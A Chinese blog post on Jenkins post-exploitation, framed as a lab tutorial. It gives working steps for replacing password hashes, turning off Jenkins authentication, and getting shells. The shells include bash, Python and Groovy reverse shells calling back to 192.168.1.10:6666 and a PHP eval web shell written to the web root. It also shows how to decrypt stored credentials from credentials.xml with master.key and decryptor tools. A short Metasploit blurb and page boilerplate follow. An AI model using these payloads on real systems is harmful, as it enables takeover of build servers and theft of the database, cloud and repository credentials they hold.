浅谈jenkins后渗透

何为jenkins

jenkins是一个自动化服务器,支持开发者在软件开发过程中自动化各种任务,如构建、测试和部署应用程序,里面会存放一些账号密码,例如

1.登录到服务器、数据库(SQL Server、MySQL、PostgreSQL)、容器平台(Docker)或云服务(AWS、Azure)的账号和密码

2.Git、Subversion 等版本控制系统的账号和密码或访问令牌

3.邮件服务器、Slack、或其他通信平台的登录凭据

安装jenkins

docker pull jenkinsci/blueocean

mkdir -p /usr/local/jenkins

chmod 777 /usr/local/jenkins

docker run -d -p 8099:8080 -p 50099:50000 -v /usr/local/jenkins:/var/jenkins_home --name myjenkins jenkinsci/blueocean

docker ps

 docker exec -it 1db /bin/bash

 cat /var/jenkins_home/secrets/initialAdminPassword

图片

图片

访问8099端口把密钥粘贴进去

图片

安装以后创建账号,登录

图片

替换用户hash登录

在/usr/local/jenkins/users目录

图片

把下图里的密码改为如下(对应密码abc-123)

<passwordHash>#jbcrypt:$2a$10$PerJswtfjaa6ukA1t0K/ueUK5CI3rjA1.XUx4wCQt88dhihfxObBW</passwordHash>

图片

重启jenkins然后登录,利用完在改回来

admin密码目录jenkins/users/admin,操作和替换的字符串同上

免登录配置

jenkins目录下有个config.xml文件,如下图的三个地方改为如下

图片

  • 将 <useSecurity> 设置为 false,

  • 设置为 class="hudson.security.AuthorizationStrategy$Unsecured"
  • 将 

    设置为 class="hudson.security.SecurityRealm$None"

重启该容器

图片

再访问发现不用登录就可访问

图片

getshell手法

1.创建一个任务,如下图配置

图片

#!/bin/bash# ... 其他脚本内容 .../bin/bash -i >& /dev/tcp/192.168.1.10/6666 0>&1

立即构建,弹回来了

图片

2.安装Terminal Plugin

3.wget下载py脚本然后执行,此办法不需要root权限


def pythonScript = """
import socket, subprocess, os
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.10", 6666))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])

4.脚本命令行


// 创建两个 StringBuffer 对象来收集标准输出和标准错误流的内容
def sout = new StringBuffer(), serr = new StringBuffer()

// 将[INSERT COMMAND]'替换为要执行的系统命令
// '.execute()' 方法会在操作系统层面执行这个命令
def proc = '/bin/bash -i >& /dev/tcp/192.168.1.10/6666 0>&1'.execute()

// 'consumeProcessOutput' 方法将命令的标准输出和错误输出重定向到前面创建的 StringBuffer 对象中
proc.consumeProcessOutput(sout, serr)

// 'waitForOrKill(1000)' 会等待进程执行完毕,或者在 1000 毫秒(1 秒)后杀死进程
proc.waitForOrKill(1000)

// 打印出标准输出和错误
println "out> $sout err> $serr"

图片

5.网站存在web php服务

new File("/var/www/html/media.php").write('<?php @eval($_POST[s3cpu1se]);?>');

def webshell = '<?php @eval($_POST[s3cpu1se]);?>'

new File("/var/www/html/media.php").write("$webshell");

解密jenkins密码

1.${JENKINS_HOME}/credentials.xml里会存放用于不同任务和插件的加密凭据数据,可能包括用户名和密码、SSH 私钥、秘密文本、API 令牌,形如如下格式

<passphrase>{AAAAAAAAAAAANzxft/rDzyt8mhxpn3O72dxvVqZksL5vBJ4jNKvAjAA=}</passphrase>

使用 hudson.util.Secret.fromString("明文密码").getEncryptedValue() 加密

文件地址

$JENKINS_HOME/credentials.xml 
$JENKINS_HOME/secrets/master.key
$JENKINS_HOME/secrets/hudson.util.Secret
$JENKINS_HOME/jobs/example-folder/config.xml

单个票据解密,先管理员登录,然后在/script里解密

println(hudson.util.Secret.decrypt("{XXX=}"))

抑或

println(hudson.util.Secret.decrypt("{XXX=}"))

或者工具

 https://github.com/hoto/jenkins-credentials-decryptor 

命令


./jenkins-credentials-decryptor \
  -m $JENKINS_HOME/secrets/master.key \
  -s $JENKINS_HOME/secrets/hudson.util.Secret \
  -c $JENKINS_HOME/credentials.xml \
  -o json

2.如果用publish_over_ssh插件,密码会存放与

${JENKINS_HOME}/jenkins.plugins.publish_over_ssh.BapSshPublisherPlugin.xml 

解密工具

https://github.com/rabbitmask/Jenkins_Credentials_Crack

希望各位读者看完我们的文章以后自己去实践一下,只有学到脑子里的东西才是自己的,如果遇到困难,可以加本人微信(i_still_be_milu)与麋鹿师傅一起探讨,炼心之路,就在脚下,我们一起成长。

同时欢迎各位同仁关注麋鹿安全,我们的文章会第一时间发布在公众号平台,如果不想错过我们新鲜出炉的好文,那就请扫码关注我们的公众号!(附上本人微信,欢迎各位同仁加我微信,和我探讨安全,同时欢迎同仁们的不吝指正)

img

图片

在Metasploit中,有一些模块可以用于渗透测试Jenkins。其中之一是Jenkins枚举模块(auxiliary/scanner/http/jenkins_enum),它可以用于扫描Jenkins服务器并收集相关信息。使用该模块时,你需要设置目标主机的IP地址(RHOSTS)和端口号(RPORT),以及目标URI(TARGETURI)。然后运行该模块,它将扫描目标主机并输出结果。 在Metasploit的第2章中,介绍了Metasploit的基础知识和术语,包括如何安装和利用漏洞。如果你对Metasploit还不熟悉,建议你仔细阅读该章节以获取更多详细信息。 除了Jenkins枚举模块,Metasploit还提供了其他一些信息收集模块,包括DNS记录扫描和枚举模块。你可以继续探索和学习这些模块,以增强你的Metasploit技能。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [Metasploit 渗透测试手册第三版 第二章 信息收集与扫描(翻译)](https://blog.csdn.net/weixin_34186950/article/details/91427380)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [Web渗透测试实战:基于Metasploit 5.0](https://blog.csdn.net/hzbooks/article/details/123815157)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值